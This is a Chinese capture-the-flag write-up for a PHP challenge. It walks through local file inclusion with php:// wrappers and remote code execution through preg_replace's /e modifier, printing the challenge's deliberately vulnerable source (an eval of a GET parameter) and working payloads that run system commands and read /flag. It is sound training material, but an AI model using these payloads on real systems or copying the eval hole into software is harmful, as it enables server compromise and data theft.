知识点
本地文件包含伪协议
?text=php://input //执行
post:
I have a dream
?file=php://filter/read/convert.base64-encode/resource=index.php
preg_replace()使用的/e模式可以存在远程执行代码
看一下可变变量的概念
https://blog.spoock.com/2017/07/18/php-variables-variable/?utm_source=tuicool&utm_medium=referral
还有preg_replace的深入了解
payload 为:
/?.*={${phpinfo()}}
但是这个执行不了,可以看看这个
https://www.freebuf.com/articles/web/213359.html?tdsourcetag=s_pcqq_aiomsg
那么我们换一个(上面文章也有说道)
\S*=${phpinfo()}
解题
打开题目给出了源码
分析一下__:
1:通过get方式传入$text和$file
2:text变量中内容要是I have a dream
3:file中不能有flag关键字
伪协议读取一下next源码
得到源码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
看源码 就是preg_replace()的RCE
PHP中正则替换函数preg_replace:
其中/e修饰符已经被弃用:
/e 修正符使 preg_replace() 将 replacement 参数(字符串)当作 PHP 代码(在适当的逆向引用替换完之后)执行。
也
也就是说如果可控replacement,传入php代码的,想大于执行了eval(“replacement”)。
我们来看题目中的代码:
return preg_replace(‘/(‘ . $re . ‘)/ei‘,‘strtolower("\\1")‘,$str);
其中$re,$str是取全局变量$_GET的每个键值得到的,比如传入?a=b,则$re=a,$str=b.
可以看到pattern和subjuect都是可控,可带了/e修饰符。但是replacement不可控。那就没办法了嘛?非也。
分析一下。目前这个正则会再替换过程中执行:eval(“strtolower(“\1”)”);
strtolower会把所有大写字母字符变为小写,返回处理后的字符串。
\1转义后就是’\1’。而+数字再PHP的正则匹配中是有特殊意义的:
举个例子:
当第一次匹配成功的时候,会把匹配到的匹配项保存起来,之后的匹配过程中,如果遇到之前匹配到的项科研直接匹配。同时
每个缓冲区都可以使用 ‘\n‘ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
假设我们要匹配的subjuect为phpinfo();,pattern是\S:
那么replacement就变成了:
strtolower("\\1")--->strtolower("\1")---->strtolower("phpinfo();")
配上\e就会在匹配的过程中执行:
eval(‘strtolower("phpinfo();")‘);
执行结果为:
那么怎样执行呢?我们来看php的一个特性
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 注意:双引号中的函数不会被执行和替换。
那么可变变量又出场了,除了$$a这种套娃替换,他还可以利用上述特性执行命令:
{${phpinfo()}}
如果我们执行了:
eval(‘strtolower("{${phpinfo()}}")‘);
在解析执行前,因为被双引号包住了,那么${phpinfo()}中的phpinfo()会被当做变量先执行。
其中
payload1:利用源码给的getFlag函数
/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);
payload2:通过构造post传参
next.php?\S*=${eval($_POST[wtz])}
POST:
wtz=system("cat /flag");